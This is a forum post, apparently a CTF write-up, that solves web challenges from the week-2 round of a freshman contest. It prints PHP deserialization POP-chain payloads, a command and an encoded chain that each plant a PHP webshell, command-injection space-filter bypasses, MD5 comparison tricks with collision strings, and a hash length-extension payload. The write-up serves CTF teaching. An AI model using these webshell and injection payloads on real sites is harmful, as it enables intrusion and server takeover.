BaseCTF新生赛web week2解题wp
1629192581190874 发表于 内蒙古 CTF 834浏览 · 2024-08-26 10:50

[Week2] ez_ser

这是一道反序列化的入门题目 只要自己了解一下序列化即可做出来

payload:O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

[Week2] 一起吃豆豆

这道题是一道js题目

通过查看源代码找到js文件 并对相关js文件审计即可拿到flag

flag在index.js下 进行了base64编码,自行解码一下即可

[Week2] 你听不到我的声音

这道题没什么难度

shell_exec($_POST['cmd']);

执行post请求传的shell命令 既然没有回显 直接写马上线就好了

payload:cmd=echo "<?php @eval(\$_POST[1]);?>" > /var/www/html/123.php

[Week2] Really EZ POP

这道题是反序列化的POP链考点

直接构造一个shell上去,并读取flag(这里用burp而不是用hackbar的原因是 hackbar发送数据包后 无法写入shell 所以干脆直接burp发包)

payload:nature=O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A144%3A%22eval%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsICc8P3BocApoaWdobGlnaHRfZmlsZShfX0ZJTEVfXyk7CmV2YWwoJF9HRVRbXCdjbWRcJ10pOycpOw%3D%3D%27%29%29%3B%22%3B%7D%7D%7D%7D

[Week2] RCEisamazingwithspace

这道题是一个命令执行很基础的题 过滤了空格

但是linux操作系统有很多绕过过滤空格的姿势这里介绍如下几种

空格绕过

${IFS}

${IFS}$1

$IFS$1

<和<>

{cat,flag}

%20替换

[Week2] 所以你说你懂 MD5?

week2难度最高的题目

我们先分析第一个if 这里要求apple和banana的内容不相同但是md5值相同,这里可以使用数组绕过,因为数组为空时 都为null 所以第一个if

payload:apple[]=1&banana[]=2

第二个if判断必须为字符型而且是弱类型比较,PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。,那么就可以参数为字符串 计算出来的md5为0e且全是数字 即可实现,这里给大家提供两个

appple=240610708&bananana=QNKCDZO

第三个if要求内容可以不相同 但是md5值必须完全相同,用了强比较,所以这里给大家提供两个字符串

apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

random_bytes(16) 生成一个16字节的随机字节序列,然后通过 bin2hex() 转换为32字符的十六进制字符串。

这个过程重复三次,因此最终生成了一个长度为96个字符的随机十六进制字符串。

并且判断了name是否等于admin

这里name直接补位即可

%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin

最后一个if则需要扩展长度攻击,有需要学习的小伙伴可以自行了解

这里需要使用HashPump,给大家提供一个大佬的优化版

https://www.hujiayucc.cn/post-26.html

输入你获得的md5 运行工具获取攻击后的md5(结果取32位即可,去掉后面8个0)

ps:CTF历史上考这个还是比较少的 但是也要了解

最终完整payload:

apple%5B%5D=1&banana%5B%5D=2&appple=240610708&bananana=QNKCDZO&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=不通用

[Week2] 数学大师

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

这道题直接使用python 快速批量计算 即可拿到flag

import requests
import re
# 自行修改URL和cookie即可
url = "http://challenge.basectf.fun:2237/"
pattern = r'd(.*?)\?'
payload = "answer=0"

headers = {
  'Content-Type': "application/x-www-form-urlencoded",
  'Cookie': "PHPSESSID=u0rn4f0t2g03o48jjcubnfhdf1"
}

def calculate(matches):
    for match in matches:
        expression = match.replace('×', '*').replace('÷', '/')
        try:
            result = int(eval(expression))
            print(f"{match} = {result}")
            return result
        except ZeroDivisionError:
            print(f"Error: Division by zero in expression {match.replace(' ', '')}")
        except Exception as e:
            print(f"Error calculating {match.replace(' ', '')}: {e}")

response = requests.post(url, data=payload, headers=headers)
for i in range(52):
    payload = "answer=" + str(calculate(re.findall(pattern, response.text)))
    response = requests.post(url, data=payload, headers=headers)
    print(response.text)

本人是菜鸡,请各位多多指教
本周题目相对难度有所提高,也更加锻炼技术,祝各位技术精进

0 条评论
某人
表情
可输入 255